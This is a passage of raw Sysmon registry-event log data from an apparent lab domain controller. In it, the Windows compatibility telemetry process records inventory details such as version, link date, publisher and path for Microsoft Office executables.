14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\ocpubmgr.exe|bf7b23fd8b5a21e6\LinkDate08/05/2021 03:36:40 13241300x800000000000000043728Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\ocpubmgr.exe|bf7b23fd8b5a21e6\Publishermicrosoft corporation 13241300x800000000000000043727Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\ocpubmgr.exe|bf7b23fd8b5a21e6\LowerCaseLongPathc:\program files\microsoft office\root\office16\ocpubmgr.exe 13241300x800000000000000043726Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\namecontrolserve|6e9ebbbd25720a1f\BinProductVersion16.0.13801.20864 13241300x800000000000000043725Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\namecontrolserve|6e9ebbbd25720a1f\LinkDate08/05/2021 03:31:17 13241300x800000000000000043724Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\namecontrolserve|6e9ebbbd25720a1f\Publishermicrosoft corporation 13241300x800000000000000043723Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\namecontrolserve|6e9ebbbd25720a1f\LowerCaseLongPathc:\program files\microsoft office\root\office16\namecontrolserver.exe 13241300x800000000000000043722Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\msqry32.exe|f4966ad2a4f8b618\BinProductVersion16.0.13801.20864 13241300x800000000000000043721Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\msqry32.exe|f4966ad2a4f8b618\LinkDate08/05/2021 03:30:17 13241300x800000000000000043720Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\msqry32.exe|f4966ad2a4f8b618\Publishermicrosoft corporation 13241300x800000000000000043719Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\msqry32.exe|f4966ad2a4f8b618\LowerCaseLongPathc:\program files\microsoft office\root\office16\msqry32.exe 13241300x800000000000000043718Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\mspub.exe|627686ba4cede96f\BinProductVersion16.0.13801.20864 13241300x800000000000000043717Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\mspub.exe|627686ba4cede96f\LinkDate08/05/2021 03:34:02 13241300x800000000000000043716Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\mspub.exe|627686ba4cede96f\Publishermicrosoft corporation 13241300x800000000000000043715Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\mspub.exe|627686ba4cede96f\LowerCaseLongPathc:\program files\microsoft office\root\office16\mspub.exe 13241300x800000000000000043714Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\msoxmled.exe|9d4c86224f942115\BinProductVersion16.0.13801.20084 13241300x800000000000000043713Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\msoxmled.exe|9d4c86224f942115\LinkDate02/05/2021 06:08:10 13241300x800000000000000043712Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\msoxmled.exe|9d4c86224f942115\Publishermicrosoft corporation 13241300x800000000000000043711Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\msoxmled.exe|9d4c86224f942115\LowerCaseLongPathc:\program files\microsoft office\root\vfs\programfilescommonx64\microsoft shared\office16\msoxmled.exe 13241300x800000000000000043710Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\msotd.exe|1846727dbe2e5345\BinProductVersion16.0.13801.20864 13241300x800000000000000043709Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\msotd.exe|1846727dbe2e5345\LinkDate08/05/2021 03:29:39 13241300x800000000000000043708Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\msotd.exe|1846727dbe2e5345\Publishermicrosoft corporation 13241300x800000000000000043707Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\msotd.exe|1846727dbe2e5345\LowerCaseLongPathc:\program files\microsoft office\root\office16\msotd.exe 13241300x800000000000000043706Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\msosrec.exe|7e420f036fdc982e\BinProductVersion16.0.13801.20864 13241300x800000000000000043705Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\msosrec.exe|7e420f036fdc982e\LinkDate08/05/2021 03:29:46 13241300x800000000000000043704Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\msosrec.exe|7e420f036fdc982e\Publishermicrosoft corporation 13241300x800000000000000043703Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\msosrec.exe|7e420f036fdc982e\LowerCaseLongPathc:\program files\microsoft office\root\office16\msosrec.exe 13241300x800000000000000043702Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\msoicons.exe|3da37cfb4950ecae\BinProductVersion16.0.13231.20098 13241300x800000000000000043701Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\msoicons.exe|3da37cfb4950ecae\LinkDate09/08/2020 05:38:08 13241300x800000000000000043700Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\msoicons.exe|3da37cfb4950ecae\Publishermicrosoft corporation 13241300x800000000000000043699Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\msoicons.exe|3da37cfb4950ecae\LowerCaseLongPathc:\program files\microsoft office\root\vfs\programfilescommonx64\microsoft shared\office16\msoicons.exe 13241300x800000000000000043698Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\msoia.exe|114864795aa55b83\BinProductVersion16.0.13801.20806 13241300x800000000000000043697Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\msoia.exe|114864795aa55b83\LinkDate07/09/2021 00:31:33 13241300x800000000000000043696Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\msoia.exe|114864795aa55b83\Publishermicrosoft corporation 13241300x800000000000000043695Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\msoia.exe|114864795aa55b83\LowerCaseLongPathc:\program files\microsoft office\root\office16\msoia.exe 13241300x800000000000000043694Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\msohtmed.exe|99dd74e197b774bf\BinProductVersion16.0.13801.20506 13241300x800000000000000043693Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\msohtmed.exe|99dd74e197b774bf\LinkDate04/11/2021 01:02:25 13241300x800000000000000043692Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\msohtmed.exe|99dd74e197b774bf\Publishermicrosoft corporation 13241300x800000000000000043691Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\msohtmed.exe|99dd74e197b774bf\LowerCaseLongPathc:\program files\microsoft office\root\vfs\programfilesx86\microsoft office\office16\msohtmed.exe 13241300x800000000000000043690Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\msohtmed.exe|148478b1871e8bf3\BinProductVersion16.0.13801.20506 13241300x800000000000000043689Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\msohtmed.exe|148478b1871e8bf3\LinkDate04/11/2021 01:09:32 13241300x800000000000000043688Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\msohtmed.exe|148478b1871e8bf3\Publishermicrosoft corporation 13241300x800000000000000043687Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\msohtmed.exe|148478b1871e8bf3\LowerCaseLongPathc:\program files\microsoft office\root\office16\msohtmed.exe 13241300x800000000000000043686Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\msoev.exe|b4e37bd46f9380f9\BinProductVersion16.0.13801.20864 13241300x800000000000000043685Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\msoev.exe|b4e37bd46f9380f9\LinkDate08/05/2021 03:31:22 13241300x800000000000000043684Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\msoev.exe|b4e37bd46f9380f9\Publishermicrosoft corporation 13241300x800000000000000043683Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\msoev.exe|b4e37bd46f9380f9\LowerCaseLongPathc:\program files\microsoft office\root\office16\msoev.exe 13241300x800000000000000043682Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\msoasb.exe|750d1f3936d98f5d\BinProductVersion16.0.13801.20240 13241300x800000000000000043681Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\msoasb.exe|750d1f3936d98f5d\LinkDate02/25/2021 20:14:17 13241300x800000000000000043680Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\msoasb.exe|750d1f3936d98f5d\Publishermicrosoft corporation 13241300x800000000000000043679Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\msoasb.exe|750d1f3936d98f5d\LowerCaseLongPathc:\program files\microsoft office\root\office16\msoasb.exe 13241300x800000000000000043678Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\msoadfsb.exe|53077702cdcc8005\BinProductVersion16.0.13801.20864 13241300x800000000000000043677Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\msoadfsb.exe|53077702cdcc8005\LinkDate08/05/2021 03:30:59 13241300x800000000000000043676Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\msoadfsb.exe|53077702cdcc8005\Publishermicrosoft corporation 13241300x800000000000000043675Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\msoadfsb.exe|53077702cdcc8005\LowerCaseLongPathc:\program files\microsoft office\root\office16\msoadfsb.exe 13241300x800000000000000043674Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\msaccess.exe|77cffae26fbe2b5\BinProductVersion16.0.13801.20864 13241300x800000000000000043673Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\msaccess.exe|77cffae26fbe2b5\LinkDate08/05/2021 03:34:23 13241300x800000000000000043672Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\msaccess.exe|77cffae26fbe2b5\Publishermicrosoft corporation 13241300x800000000000000043671Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\msaccess.exe|77cffae26fbe2b5\LowerCaseLongPathc:\program files\microsoft office\root\office16\msaccess.exe 13241300x800000000000000043670Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\mlcfg32.cpl|31c16fc3f63fc7dc\BinProductVersion16.0.13801.20008 13241300x800000000000000043669Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\mlcfg32.cpl|31c16fc3f63fc7dc\LinkDate02/02/2021 02:29:46 13241300x800000000000000043668Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\mlcfg32.cpl|31c16fc3f63fc7dc\Publishermicrosoft corporation 13241300x800000000000000043667Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\mlcfg32.cpl|31c16fc3f63fc7dc\LowerCaseLongPathc:\program files\microsoft office\root\office16\mlcfg32.cpl 13241300x800000000000000043666Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\misc.exe|e53c61630655f462\BinProductVersion16.0.13801.20840 13241300x800000000000000043665Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\misc.exe|e53c61630655f462\LinkDate07/29/2021 06:55:41 13241300x800000000000000043664Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\misc.exe|e53c61630655f462\Publishermicrosoft corporation 13241300x800000000000000043663Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\misc.exe|e53c61630655f462\LowerCaseLongPathc:\program files\microsoft office\root\vfs\windows\installer\{90160000-001f-0c0a-1000-0000000ff1ce}\misc.exe 13241300x800000000000000043662Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\misc.exe|d72ba68dc6224853\BinProductVersion16.0.13801.20840 13241300x800000000000000043661Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\misc.exe|d72ba68dc6224853\LinkDate07/29/2021 06:55:41 13241300x800000000000000043660Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\misc.exe|d72ba68dc6224853\Publishermicrosoft corporation 13241300x800000000000000043659Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:44:43.158{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\misc.exe|d72ba68dc6224853\LowerCaseLongPathc:\program files\microsoft office\root\vfs\windows\installer\{90160000-006e-0409-1000-0000000ff1ce}\misc.exe 13241300x800000000000000043658Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 